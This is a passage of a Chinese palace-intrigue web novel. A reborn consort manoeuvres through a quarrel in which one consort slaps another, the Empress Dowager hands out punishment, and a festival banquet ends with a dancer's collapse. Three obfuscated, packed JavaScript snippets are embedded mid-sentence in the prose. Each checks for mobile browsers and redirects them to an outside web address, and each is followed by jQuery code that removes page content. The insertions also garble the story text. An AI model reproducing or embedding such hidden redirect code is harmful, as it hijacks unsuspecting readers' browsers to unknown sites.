宫中女官皆有品级,负责祭典巧粽的洛尚食乃是正五品,说起来比容月这个从五品贵人,倒还正经高出半品。 按例,嫔位以下者是无权协理饮宴祭礼等宫中大事的。此番嘉妃如此不遗余力地抬举刚入宫的容月,倒引得不少人侧目。 容月大约觉得很是得脸,当日便往尚食局去了。 而新晋的梁宝林只气恼被容月夺了风头,又想到昨日容月被连晋两级,自己却只能按例晋封一级,自个儿把自个儿气得跟个乌眼鸡一般,关在钟粹宫正殿里怄起气来。 颂兰在正厅里习画,一张宣纸上画了几支疏疏的芦苇,霜降进来递茶,无意间低头一看,却忍不住赞道: “小主好精致的画工。” 颂兰在那画的远处又点了几只淡淡的飞鸟,道: “我家中姨娘从前是江南的绣娘。我自小跟着姨娘学画绣样,后来学画,便有融会贯通之感。” 霜降道:“奴婢不懂,只觉得小主这画虽淡到了极点,那留白处又似有许多故事。” 前世的颂兰,其实是下了苦工夫学画的。 皇帝爱画,尤爱黄荃徐熙之流的花鸟虫鱼画。此事在高位宫嫔间不是秘密,例如嘉妃,便常投其所好,自民间搜罗古画献给皇帝。淑妃则是精于画艺,常与皇帝论画抒情,好不风雅。 是以在储秀宫时,德妃才会收了新秀们作的梅图来观,便是想看看其中有没有善画的苗子。她替梁芳玉作了一张绿梅,独独出挑,自然受到注意。 而颂兰最早学画,倒不是为了上意——不过是为了裴抒也爱画。她的画,是裴抒一笔笔教的。 眼下骤然回想起她与裴抒私会,共执一支笔描摹山水的样子,不由得一阵恶寒,手下一顿,便洇出一个墨点,好好的一张画就这么毁了。 霜降可惜道:“都怪奴婢多嘴,扰了小主作画的心境。” 颂兰心绪烦乱,随口应道:“作画本应静心。我心不静,原不干你的事。” 霜降试探着问:“小主可是在想着容小主得了嘉主子青眼的事?” 颂兰轻笑,“在我面前你也做作起来——满宫里,估计只有梁宝林一个人,觉得这是桩美差。” 端午算是宫中的大节,每年五月初五皆要在御苑昆明湖畔设“瘟神坛”,以青绸围缦,立五方旗,由皇后主持焚香祭拜。又因太后喜佛,在宫中亦设“端午佛堂”,供奉药师如来以祛病。 白日祭典隆重,内廷非高位嫔妃不得出席。而晚间夜宴,才是后宫低位小主们各显神通的“战场”。 而端午节礼亦是丰富。照以往的份例,一盒巧粽中需装有巧粽一对,明珠一对,珍珠百索,织金云锦五色香囊两对,檀木缂丝翠扇一对,青白玉坠十只,另赐春绸衣料,流光溢彩,好不奢靡。 而今年,因着嘉妃进言,力开节俭先河,其中的珠玉自是减了,只留下珍珠一项,又将五色香囊、金丝翠扇的用料也俭省下来,便想着在粽子上出些巧宗。 民间巧粽,大多只做些笔粽、菱粽,图个好意头。而宫中讲究,便不止于此了。 莲儿被分到浣花坞以前是尚食局的宫女,见主子们聊起了端午之事,便叽叽喳喳道: “奴婢从前在尚食局做事,当时管着奴婢的郭司膳能将巧粽包成宝马香车、亭台画舫的形状,那才是真正的绝艺呢。” 虽已是活过一回、司空见惯的物事,颂兰亦免不得做作出讶然情状,道: “那真真儿是有些为难容小主了——都说君子远庖厨,不知咱们的‘京城第一才女’,能否应得起嘉娘娘的这份赏识呢。” 宫中消息灵通,很快便传来了尚食局的章程:乃是要将那巧粽换成两对,做成糖渍衣梅、蜜饯卢橘、腊腌火腿、鲍鱼虾仁四味,甜咸各两品的花样巧粽。 莲儿咋舌道:“往年这粽子不过是个添头,也就做赤豆、白糖的,应了故事即可。今年容贵人心思巧妙,可真要做出花儿来。” 低位宫嫔月例紧张,虽不至于叫娘娘们吃糠咽菜,但只有尚食局膳房里送来的例餐,缺盐少油等事亦是难免。此番能沾容贵人的光吃上鲍鱼粽子,众人亦不由得期待起来。 几人正在殿内闲话,却听得钟粹宫正殿门口又闹将起来。 这个梁宝林,才得了不到半天势,还真是没一刻的消停…… 今日往来钟粹宫的宫人众多,颂兰虽不愿生事,到底同她同住一宫,外头喧哗吵嚷,闹得她也没了作画的心思。 颂兰将笔一搁,对霜降道: “走,出去看看。” 钟粹宫正庭种着左右各八株梧桐,春生新叶,翠盖盈盈,绿叶掩映下,梁宝林鬓发微乱,正满脸倨傲地站着。 她面前的女子身穿云水绫竹叶裙,姿态纤弱,楚楚可怜,正捂着脸,半边发髻都被打歪,一副委屈模样,正是与她们同批入宫,受封采女的林菱儿。 颂兰扶着霜降的手走上前去,依着宫礼规矩请安,“梁宝林万福。今儿本是姐姐的喜日子,不知林采女犯了何事,惹梁姐姐如此不快。” 梁宝林已在颂兰手上吃过几道闷亏,见她来问,一时间有些忌惮。 可到底心高气傲惯了,又是心头恼火的时候被林采女冲撞,更是颇感晦气。她从鼻子里哼了一声,怒气冲冲道: “这蹄子走道儿不长眼睛冲撞我,摔碎了本小主的羊脂玉钗子。穷门小户,怕是这辈子也没见过这么好的玩意儿,卖了你也不够赔的!” 想来梁芳玉心中自是有气,穷门小户四个字,指桑骂槐,倒是把乔颂兰也一并骂进去了。林采女双肩一耸一耸,头垂得愈发低,仿佛要埋进地里似的。 梁芳玉嫌恶地看了抽泣的林采女一眼。 “巴巴儿地装副可怜样子给谁看,本就是你打坏了我的东西,我还没哭你先哭上了?” 她身边的绿珠惯是个厉害的,对着林采女便讥讽道: “我们小主体恤您囊中羞涩,不要您的银子,您送来的礼也准您原样儿端回去,只让您受掌嘴十下便算两清。怎的才打了一个您就要赖账,不知道的还以为我们小主怎么欺负您呢。” 林采女一言不发,只一味哭得梨花带雨,好不可怜。 这可是钟粹宫正殿门口!不少来贺喜的宫女太监都朝这边投 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319011|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来好奇的目光。想来不出今日,新晋的梁宝林跋扈无礼的名声就要传遍六宫了。 颂兰心里骂着蠢货,但因着人多眼杂,面上便只做出胆怯模样,轻声道: “林采女与姐姐您同为天子嫔御,颂兰怕此事若传到有心人耳中,有损姐姐清誉。” 她声音带了些恰到好处的颤抖,仿佛这“仗义执言”花去了她不少勇气。 梁芳玉自然见过她私底下的厉害,不免被颂兰这做作样子膈应得浑身一颤。她不服气地瞧了颂兰一眼,压低声音,仍嘴硬道: “上回你不许我顶撞胡美人,林氏位分连你都不如,我还管不得么!再说了,是她口口声声说亲自来贺我,却不长眼似的走过来,硬生生把我的簪子碰坏了——这还是昨日我……陛下今早特意吩咐尚服局赏的呢!” 顺着她手指的方向望去,地上果然躺着一根摔碎的羊脂玉簪,通体莹润洁白,的确是上品。 和田玉稀有,更只有雪白纯净的玉种才当得上“羊脂”二字。梁氏虽骄纵,却也不算冤着林菱儿,这簪子在她的妆奁中应该算排得上号的宝贝,又是皇帝新赐,被这么触个霉头,任谁心里也是有气。 颂兰无奈道: “梁姐姐,妹妹虽不才,也记得嬷嬷教导宫规时讲过,只有宫里主位娘娘才有权管教宫嫔。既然钟粹宫并无主位,姐姐不若禀了隔壁昭庆殿的舒贵嫔,让舒娘娘替您主持公道。” 宠妃刁难不受宠的低位宫嫔,在后宫也偶有发生。就如那日的嘉妃罚跪温昭昭,大概又被梁芳玉看在眼里,记在了心上。 坏就坏在嘉妃是何等身份,她又是何等身份?况且隔壁的昭庆殿还住着一位正经主子,梁宝林如此跋扈,实是面子里子都说不过去。 梁芳玉花了好一会儿,才想起乔颂兰说的那位“舒贵嫔”是谁。 入宫的头次觐见,她便抱病缺席。 据说从前,原本是胡美人与她同住一宫。后来因着舒贵嫔成日抱病,皇帝怕扰她养病,便一道懿旨,将胡美人迁到了旁边的钟粹宫。偌大个昭庆殿,只有舒贵嫔一人独居。 而舒贵嫔,已是实打实地“失宠”了。 四年前,元孝皇后已是病入膏肓,而舒贵嫔尚在嫔位。舒嫔身怀六甲,本轮不到她侍疾。奈何她与元后姐妹情深,执意陪伴皇后左右,却在太医预计的产期前毫无预兆地突然血崩。 舒贵嫔拼死产下一对龙凤胎,孩子却一生下来就没了气息。双胎过大,连累母体,当年的舒嫔好不容易从鬼门关捡回条命,却是再也不能生育,亦不能再伺候皇上了。 而她血崩当场的画面教先皇后惊惧交加,久病再添忧思,元后不出半年便仙去了。 在梁芳玉看来,舒贵嫔那个病秧子还不如林氏威胁大呢——林菱儿到底年轻,成日一副娇娇弱弱的狐媚样,难保哪天会不会入了皇上的眼。 可如舒贵嫔这般,再无君恩,亦无法生育的旧人,不过担着个高位的虚衔。她才没放在眼里。 她不耐烦道: “贵嫔娘娘两耳不闻窗外事,我自然得教好林采女应有的规矩。” 林氏犹自哭哭啼啼,绿珠摁着林采女的肩膀,红玉正要下手再打,却听得远处传来一道威严的女声: “梁小主好大的口气!” 11. 断尾 一道苍老威严的女声传来,众人朝着声音传来的方向看去,竟是太后身边的掌事宫女云姑姑。 再一瞧云姑姑扶的那位华贵妇人,正是太后。 太后此来未乘凤驾,除云姑姑外,只携了四个稚龄宫婢左右侍奉,想来是不愿大张旗鼓。不知为何,钟粹宫门口宫人也未通传,这才目睹一出好戏。 太后叹息道:“中宫年少,亦是哀家无能,竟不知皇帝的后宫里,需要一位小小宝林来立规矩。” 除去宫中大事,太后一向在慈宁宫中静心礼佛,甚少亲自出山。今日却不知何故,路过了钟粹宫。 几人霎时跪了一地,口称“太后娘娘万福金安”。梁芳玉吓得面无人色,跪在地上连呼“太后恕罪”。 太后冷冷扫了眼抖如筛糠的梁宝林: “目无宫规,跋扈骄横,随意责打嫔妃,罚一月月例,这个月也不必出来伺候了,每日到尚仪局去,由钱嬷嬷再好好教教规矩。” 梁芳玉跪在地上不住发抖,闻言一下子没撑住,竟委屈得呜咽起来。 一个月的时间,足以将皇帝对梁氏本就稀薄的恩情消磨个殆尽了。 再者,这宫里哪有不透风的墙?梁宝林今日是被太后亲自降罚,颜面尽失,被阖宫看笑话事小,但皇帝要在太后跟前做面子,没必要再去捞一个被他母后厌烦的女子。 颂兰不着痕迹地瞥了梁宝林一眼。看着她那没出息的模样,颂兰不禁打心底里生出些烦躁来。 若梁氏真是个扶不上墙的烂泥,弃便弃了。她还得尽快再找个新的靶子,为己所用。 她正思量着,钟粹宫门外的小黄门却通传道: “舒贵嫔娘娘到——” 几人愕然回首,自宫门处走来一个人影。那女子脚步虚浮,却一刻不敢耽搁般走得很快。待到终于走近,正是抱病多年的舒贵嫔。 舒贵嫔福身行礼时已是气喘吁吁,想来是赶路的几步颇耗了力气:“臣妾给太后请安。” 太后连忙示意云姑姑扶起舒贵嫔,“好孩子,你怎么出来了。” 舒贵嫔道:“听宫人说钟粹宫这边似有喧哗,臣妾正想来瞧瞧。年年今日您都来的,臣妾就是怕扰您清听,不想还是来迟了一步” 她苍白的面庞浮现出愧色:“臣妾失职,叫太后看笑话了。” 钟粹宫既无主位,便是一并算在昭庆殿宫禁辖地。适而方才乔颂兰叫梁常在去请舒贵嫔来,于礼上是无错的。只是舒贵嫔一向不问窗外事,谁也没料到今日她和太后会一齐现身。 太后心疼地握住舒贵嫔的手。 “你身子骨弱,本在昭庆殿好生养着,却叫这些生事的蹄子扰了,哀家怎会怪你。” 太后一记眼刀,狠厉地扫过伏在地上的梁宝林:“尚仪局主管选秀教养一事,便就是给皇帝教出了这样的无才无德宫嫔。清云,教宫正司拿了哀家的手谕,将尚仪局上下好好清点一遍,有些偷馋耍滑的奴才,该治便治,无需再回哀家。” 颂兰闭了闭眼。尚仪局无端遭此横祸,必然要记恨闯祸的梁氏。此番她被太后罚去立规矩,恐怕是一点好也捞不着了。 太后再睇了一眼跪在林采女左右的红玉和绿珠,“至于这两个刁奴,以下欺上,一并带到宫正司,各打一百大板。” 宫正司乃是内闱掌责罚戒令一事的所在。红玉绿珠触怒太后,由她老人家金口玉言吩咐的一百个板子,若是实打实地落下去,便是不死,只怕也是终生残废了。 她二人是梁宝林从家中带来的贴身丫鬟,若是折在此事上,无异于断了梁氏的左膀右臂。 颂兰暗暗心惊,太后不出手便罢,一出手便是如此赶尽杀绝。 她正想到此处,梁宝林却猛地抬起头,一双蓄满泪水的杏眼里满是惊恐,捏着裙角的双手骨节泛白,想是怕极了,仍咬牙道: “太后娘娘,嫔妾自知骄纵无德,坏了规矩,无颜再侍奉圣上。只是红玉绿珠二人自小陪伴嫔妾长大,虽是婢女,但与嫔妾说是情同姐妹亦不为过。今日她二人斗胆僭越宫规,亦是奉嫔妾之命。” 一口气说完这段话,她本就已经苍白如纸的面色似乎更白了几分,几乎要赶上病弱的舒贵嫔了,“嫔妾恳请太后娘娘开恩,免了我这两个婢子的活罪,您要罚,就罚嫔妾吧!” 说罢,她颤巍巍地又叩首在地,颂兰垂眸一瞧——她脖颈上的汗已细细密密地渗出来,将领口都晕湿了。 毕竟是高门大户养出来的小姐,真被逼入绝境时,还不算太蠢,这招断尾求生,倒又叫颂兰高看她一眼。 果然,太后只捻着佛珠,嗤道:“大胆。你犯了错,竟还敢要挟哀家?” 方才那番话大约是已经耗尽了梁芳玉的全部力气与智力,她伏在地上不住叩首,嗫嚅半天,只吐出“嫔妾不敢”四个字。 颂兰轻叹一声,婉转开口道:“太后娘娘。端午将近,宫中要设佛堂供奉药王菩萨,恐怕不宜见血。梁宝林此言虽有不妥,到底是为了大局。” 此话一出,太后便斜斜瞥过一记眼风,将颂兰从头到脚打量了一遍。 “你倒伶俐。哀家同梁宝林说话,有你插嘴的份么。” 清河崔氏乃是外戚大族,族中女孩生下来便是照着皇后资质教养。太后初入潜邸时就是侧妃,先帝登基她便是从贤妃做起。 先帝重色,后宫妃嫔众多,先皇后是个泥人土性,贤妃一家独大,生下现任皇帝后,又爬到皇贵妃,位同副后,和满宫的莺莺燕燕斗了一辈子,最不耐烦同那些小户出身,“心计颇多”的低等宫嫔交手。 颂兰不敢大意,仍垂首做恭谨谦卑状: “嫔妾不敢冒犯太后,不过是担心若真冲撞了药王菩萨,教您忧心。” “你也是上个月入宫的,哀家记得,是姓乔吧。” 太后眼明心亮,乔颂兰不过殿选那日与她遥遥见过,阖宫觐见当日,她可是半个眼神都没赏给过队伍最末的颂兰。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319012|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “太后圣明,嫔妾正是浣花坞选侍乔氏。” “乔氏。”太后在嘴里咂了一砸,也不知想到了什么,从鼻子里哼出一声冷笑,“也罢。梁宝林既然一心受罚,你又替她求情,哀家便看在你的面子上成全她。不过,到底是皇上的妃嫔,也不能打坏了——那便赏二十下板子,长个记性吧。” 她又转向颂兰,这次的目光终于不再那般冰冷,话音仍是不辨喜怒。 “方才你出言劝阻梁氏,是个知节懂礼的好孩子。清云,回头差人将哀家库房里的那支翡翠玉兰簪子赏给乔选侍。” 云姑姑恭敬应是。太后便不再看在场诸人,只由云姑姑扶着离开了。 舒贵嫔垂首跟在其后,几人一道往昭庆殿去了。 梁芳玉劫后余生,已是浑身虚软,再无心、也无胆量在林菱儿面前耍威风。汗水沿着她的额头流下,她脱力地抬起头,深深看了颂兰一眼。 这眼神里混杂着惊恐、庆幸、不解、忌惮,几乎要化为一支火炬,烧穿眼前貌似娇弱的女子。 ——可被她盯住的颂兰,却只是八风不动,背对着林采女,回了梁芳玉一个淡然的微笑。 那模样,好似并不是在看一个出身、位分都比她高贵的宫嫔,而是一个久居上位的贵人,在向一条无助的、落水的狗,伸出一根纤细的救命稻草。 梁芳玉悚然一惊,方才刚刚凝结起的那股劲头霎时消逝无踪。她慌忙低下头,半个身子都斜软在绿珠身上,主仆三人相互扶着,脚步踉跄地回主殿了。 “今日之事,多谢选侍姐姐仗义相助。” 一道娇娇怯怯的声音,却是方才还跪在一旁的林采女,已由宫婢搀扶着,盈盈站起了。 颂兰回身打量着这个身姿楚楚的少女。她同淑妃一样,都是温柔婉约型的美人。只是淑妃的美,美得更高雅,似一把声韵醇厚的焦尾古琴;而林菱儿的美,则是小家碧玉,恰如雨后含羞带露的一枝新白茶。 “怎敢当妹妹的谢,今日之事多亏太后娘娘和舒贵嫔娘娘主持公道,不然单凭我,在梁宝林面前哪有说话的份呢。” 宫内尊卑,一向以位分来排。如她们这样年岁相仿的,便是谁位分高谁当一声“姐姐”——细论年龄,乔颂兰还比林菱儿小了一岁有余。 “姐姐这话便是自谦了。方才嫔妾瞧着,梁宝林对姐姐好似很敬重——那敬意,不比对着太后娘娘少。” 说这话时,林菱儿始终觑着颂兰的神色。 到底是民间出身,抑或是此刻年纪尚浅。林菱儿的这番试探挑拨,实在是太粗浅、太心急了。颂兰实打实地有些烦闷,几乎想抬手抚抚胸口顺气,再同林菱儿打这些低级的机锋。 若说梁芳玉的蠢,还透着那么点养在象牙塔里,娇蛮天真的可爱,那么林菱儿的蠢,就像是爬在衣服外边的虱子,咬人不痛,却望之生厌,叫人恶心。 她认真地看了林采女一眼,那眼神中,费解同畏惧真假参半。 12. 兰香 “林妹妹此言,我实是不知何意了。” 闻言,林菱儿眼神一眨不眨地望着乔颂兰。那眼神里盛满纯情,好似她真的只是足够天真,这才口无遮拦。 从一介民女成为入选的天子宫嫔,林菱儿觉得自己定有过人之处,也信总有一天她总会引起皇帝的注意,青云直上。 同样是瑟缩,有别于颂兰的呆板木讷,她的无助便显得楚楚动人。林菱儿一向知道,这抹娇柔是她最好的魅力。她也时刻谨记,在人前永远维持着这副做派。被掌掴,被辱骂又如何,旁人越嚣张,越衬托她的惹人疼惜。 “我此番来,不过是因着和梁宝林同住一宫……你也知道,她素来就是个刁蛮性子,平日莫说是我,连西配殿的胡美人日子也不好过。方才我只恨太后娘娘对她高高抬起又轻轻放下,怎的没实打实地打上一百个板子,也好挫挫她的锐气,叫她长个教训。” 迎着林菱儿的目光,颂兰轻轻蹲下,慢慢地拾起地上那摔碎的簪子碎片。 她的动作太过自然,林菱儿眉心一跳,收拾残片这种事是婢子的活。乔颂兰却做得那么娴熟,仿佛真是个被梁宝林仗势欺压,老实木讷的小选侍。 这份自然流露的老实,让林菱儿不由得生出了一丝轻视。她想起来曾经在储秀宫时,这个乔氏就是个鹌鹑性子。据说常被同住的梁芳玉指使着做这做那,亦是默默的不敢反抗。 思绪就这么略略地一飞远,再次回神时,林菱儿便注意到颂兰握着簪子碎片的那只手,好似是太过紧张,一下使大了力,手掌便被尖锐的碎片刺出了血。 林菱儿忙道: “姐姐误会了。妹妹不过一时口快,姐姐切莫忘心里去。” 没有野心,没有趣味。林菱儿放了心,又同乔颂兰姐姐妹妹地拉扯了几句,便离了钟粹宫,翩然回她的竹意堂去了。 望着林采女离去的方向,直到视野中的背影完全消失,颂兰才渐渐松缓了神色。 方才矫饰出的那股怯懦荡然无存,唯余一丝冰凌似的寒意,在眸中倏忽闪过。 霜降上前心疼道:“小主仔细着手,何必下这般大的力气。” “若要取信于人,做戏便做足全套。” 她眸色低掩,凝视着被划伤的手心,鲜血一滴滴落在庭前的新生的春草上,亦染红了手中握着的玉簪残片。 “去太医院请祝太医来,就说我伤了手。” 祝太医来得很快。 颂兰托腮望着,祝太医先替她包扎了手上的伤,又悬丝搭脉,半刻后,恭敬道: “小主脉象平稳强健,先前的惊惧之症已大好了。您手上的伤细心包扎,待结痂后撒些金创药,应不会留疤。” 颂兰垂眸望着手上包得厚厚的白纱,“若要促进伤口愈合,想必不能常用香料吧。” 祝太医沉思片刻,谨慎道:“普通的香粉香料,只要使用时避开伤处,想来应无大碍。不过为了保险起见,小主不妨将那香料取出,微臣愿替小主一观。” 祝太医确实是个机灵的。得了颂兰的示意,霜降便从内室中拿出一方质朴的小匣子,正是那日胡美人派芸香送来的那盒“君心笑兰”。 掀开盖子,很快便有幽微的兰香在空气中浮动。 …… 五月初五,端阳日。 白天的祭典,低位妃嫔们并无资格参加。而晚上的夜宴设在清云馆,临水靠竹,亭台楼阁林立雅致,最是一处清幽之地。 被罚的梁宝林自是没了出席的体面,只沉寂在钟粹宫中。颂兰收拾停当,正带着霜降出门,却在宫门口遇到了胡美人。 胡氏姿容不过中上,因是婢女出身,她神态总有些不自觉的畏缩。而大约是不受宠的缘故,今日她打扮得很是低调,只略施脂粉,见到颂兰时忙招呼道,“蕙妹妹。” 那神情,仿佛她才是低位宫嫔。 颂兰忙上前行礼,“见过胡美人。” “妹妹这便是见外了。”胡美人扶起她,将颂兰从头到脚细细打量一遍,不禁笑道:“妹妹实是个美人胚子。有你这般姿容,日后何愁不得宠呢。” 闻言,颂兰只微微一笑,并不答话。胡美人自知失言,忙转了话头,状似随意地问: “妹妹,那日送去的香,你用着可还喜欢?” 她不说还好,一说到那香,颂兰便闪烁了神情,拉着胡美人的手,凑近了低声道: “姐姐手艺绝伦,那香妹妹闻着是极好的。只是宫中尊卑森严,兰花香气高雅,妹妹唯恐身份低微,使用不当,僭越了贵人。” 听她这般说辞,胡美人忙道:“妹妹入宫时日尚短,怕是有所不知,咱们份例的香粉香膏,虽说只能按着品阶到尚服局领,但若是主子们自己爱香,或是宫中有擅制香的宫女,调配出来的脂膏汁子,是可随意使用的,妹妹尽可放心。” 闻言,颂兰赧然一笑,道:“既然姐姐这般说,那我就放心了。”她微红了脸,“姐姐有所不知,那香气我实在喜欢得紧。今日宫宴,我才舍得悄悄用了一些,又怕逾越,并不敢多用。早知如此,妹妹便多用一些了。” 胡美人凝神细嗅。她素爱调香,其实早已闻到了萦绕的兰花香气。不过见颂兰这般说话,她才终于放下心来。 果真是个没见过世面的小丫头。兰花香膏名贵,胡美人料定她舍不得弃之不用。好在这蕙选侍虽然胆小怕事,到底年轻爱俏。只要今日用上,不愁不成事。 她牵了颂兰的手,宛然一笑,“妹妹若喜欢,姐姐那可尽有着呢。” 酉时刚过,便有各宫妃嫔三三两两地到了清云馆。而待到月上柳梢,皇帝方携着崔皇后出席亮相。小皇后穿着一身略显老气的朱红色吉服,无端便将面庞上清秀的灵稚之气掩住了几分。 到底还是个孩子,戴着沉重的首饰头冠行了一日的祭祀之事,眉宇间已略显疲态。是以晚间家宴,皇后便卸了钗环,只将一头青丝挽成个端庄的鹅胆高髻,斜佩一支凤簪,以显地位超然。 六宫妃嫔及命妇女眷们早已于座中等候多时。见帝后来临,一番行礼祝祷后,方正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15319013|167386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 式落座开席。 身为末等嫔妃,颂兰的座席被安排在一位命妇身边,此人不是旁人,正是平西王的侧妃杜氏。 平西王李徥乃是先帝后宫的罗太嫔所出,罗氏恩宠平平,生的儿子却很争气,乃是从武的一把好手,先帝曾亲赞其“一骑可当百万师”。其性狂狷,其性狂狷,即便是面对皇帝亦未有收敛。只是皇帝念着手足之情,从未深究。 而他的侧妃杜氏乃是京郊小官之女,据传与平西王感情甚笃,只是因出身低微,才不得不屈居侧妃之位。而平西王府中的正妃只是个摆设,凡内宫家宴,平西王一向只带侧妃出席,从无例外。 而杜氏的性子也很是和顺。见颂兰朝她规矩行礼,便微笑着颔首问好。 饮宴开场,南府舞姬鱼贯而入,和着尚仪局演奏的宫廷燕乐翩然起舞。流光溢彩,衣袂翩跹,尚食局的小婢们身着清一色素青宫装躬身进入,为内眷们分发精致的餐食。 其中便有粽子一味。巧粽以香蒲草同五彩丝线扎成亭台画舫的形状,拆开捆线,果然是甜咸各两品。粽米被蒸得油润光滑,晶莹剔透,上嵌着蜜橘、梅干、云腿、鲍鱼四色小料,以区分内馅。 杜氏一向喜食荤腥,见那两品咸粽不由得食指大动,用竹箸夹着吃了,似是觉得味道极美,还招呼颂兰,“今年尚食局出的这些粽子倒是新鲜,小主快尝尝。” 颂兰笑道:“嫔妾出身江南,从前在家时这火腿粽子也是常吃的。” 杜氏便爽朗一笑,“臣妇自幼在京城长大,原是见识少了。” 踩着檀板的节拍,舞姬们渐渐散成两列。衣香鬓影间,一个身穿水蓝舞裙的佳人曼步上前,水袖翻飞,腰间坠的金铃叮当作响。 她面上蒙着轻纱,端的是犹抱琵琶半遮面。舞姿轻盈,真如飞燕合德在世。 颂兰端起酒杯,宫宴所用的饮子并不甚烈,入口有着淡淡甜香。她不动声色地打量着各座次上的女子。 容贵人正坐在颂兰斜对面,看着场上献舞的曼妙女子,气得面色青白,偏过头去与她身旁的徐贵人说了些什么。颂兰细看那唇形,似乎是“艺伎之事”、“不知廉耻”。 而徐音若并不接话,只微微一笑,脊背挺立如修竹般,目视前方,手指合着丝竹的韵律,在桌上轻叩。 容贵人讨了个没趣,又不好发作,只悻悻然别过脸,端起酒杯忿忿地饮了一口,既不再与徐音若搭话,也不再看场上的舞蹈。 几位妃位主子倒是神色各异。韩妃正如容贵人一样,对那献舞女子格外不屑,却难掩眉间的嫉妒之色。嘉妃似笑非笑,倒像是在看一条有趣的猫儿狗儿。 德妃仪容端庄,端着得体的微笑,倒好似比崔皇后更多了几分中宫气派。而淑妃只是一味和婉微笑着,颦眉宛若拢着一层淡淡轻愁,只像这世间的纷扰都与她无关。 配乐声调渐扬,那女子单脚立着,正要做个“探海翻身”,舞步却突然踉跄一下,不慎踩住了舞裙长长的水袖,整个人向前一跌,却是正正摔在了皇帝座前的台榭下。 13. 蟹心 出了个如此大糗,一时间奏乐也停了。后边的伴舞止了舞步,连忙上前扶起那献舞的女子。 而由着这向前一摔,那女子面上的纱巾也滑落在地,露出一张娇靥,正是新入宫的吴采女。 吴氏样貌平平,身段却是一等一的曼妙柔软。只见她满面冷汗涔涔,脱力般靠在伴舞怀中,仿佛在忍耐着某种痛苦。 韩妃快人快语,见此情状,不禁冷哼道:“新妹妹们真是有意思,本以为今儿个是来跳舞的,没想到却是来演戏的。不知演的这又是哪一出,别是错了主意,以为这样就能得陛下怜惜吧。” 德妃蹙眉道:“韩妃慎言。我看这位妹妹舞步娴熟,不像学艺不精的样子。莫不是身子有什么不适,还是请太医来为妹妹看看为妙。” 众人皆没料到好好的端午家宴会上演这样一幕,上首的皇后亦道:“快传太医来,替吴采女看诊。” 嘉妃睇了一眼满面不屑之色的韩妃,“贞珠妹妹如此着急做什么。吴氏眼下不过还是个小小采女——哦,本宫记起来了。当初高丽将妹妹献与我朝之时,妹妹便是如这般,以一曲高丽之舞,俘获了圣心。” 贞珠乃是韩妃闺名,嘉妃就这般大剌剌地念出来,好似在唤一个婢女。韩妃面色已然青白交加,嘉妃掩唇,笑得自是风情万种。 “不过韩妹妹当年一舞的风姿,可比这位吴采女妙多了。那首高句丽民谣,我咸福宫的宫女现在还会哼呢。” 韩妃擅舞,又一向介怀自己附属国贡女的出身。她本就因吴采女献舞一事隐隐不快。此番被嘉妃戳破心事,登时便大怒道: “姐姐慎言!” 却是上首的皇帝出声道:“好了!好端端的家宴闹成这样,吵吵嚷嚷的成何体统。伺候吴氏的宫人呢,先将她带到偏厅去歇着。” 很快便上来了一个神色畏缩的小宫女,扶着脚步虚浮的吴采女下去了。 皇帝发话,众人饶是心中再有不忿,也只能生生压抑下去。此事一出,许多人更是无心再欣赏后头的舞乐。 容月脸上难掩幸灾乐祸,而徐音若眉眼低垂,教人看不清她面上神情。 颂兰以手支颐,只静静回忆着—— 前世此时,她还是个懵懂位卑的小选侍。后头发生的事情她已记不太清。只隐隐约约记得太医诊出,吴采女是吃错了东西,这才闹得殿前失仪。帝后便传了尚食局前来问话…… 她当时不懂,如今想来,宫中之事哪有那么多巧合。不知吴采女背后之人是谁,眼下尚食局背后之人又是…… 她正凝神想着,却听到旁边杜侧妃的宫女轻声劝道: “娘娘,这咸粽子您已经用了三只了,可还需尚食局的女官们补吗?” 颂兰一愣,转头看去,饶是杜氏性情爽快,亦不由得有些赧然,红着一张脸摆手道: “近日我食量格外大,尤其爱吃海味。这鲍鱼粽子吃着新奇,我这才贪多,多吃了几口,叫小主见笑了。” 李朝女子以弱质纤纤的不胜之姿为美。为保持窈窕的身段,京中贵女大多节制少食。如杜侧妃这般大快朵颐者确不多见。 颂兰道:“娘娘胃口好,养好了身子,身强体健,这才好早些替王爷生个小子。” 这话讨喜,又正正说到了杜氏的心坎上,她本就是个良善性子,不由得便对面前这个容貌秀丽的小主多生了几分好感。 二人正闲话着,突然见一神色仓皇的小宫女出现在殿外,同守在门口的内侍耳语了几句。 殿内丝竹声声,甚少人注意到外边的异动。坐在近门处的多是刚进宫的低位嫔妃,并不识得那个小小宫女究竟是谁。 可颂兰却是重活过一次的人,那宫女于她而言不算陌生—— 昭庆殿,舒贵嫔身边的青竹? 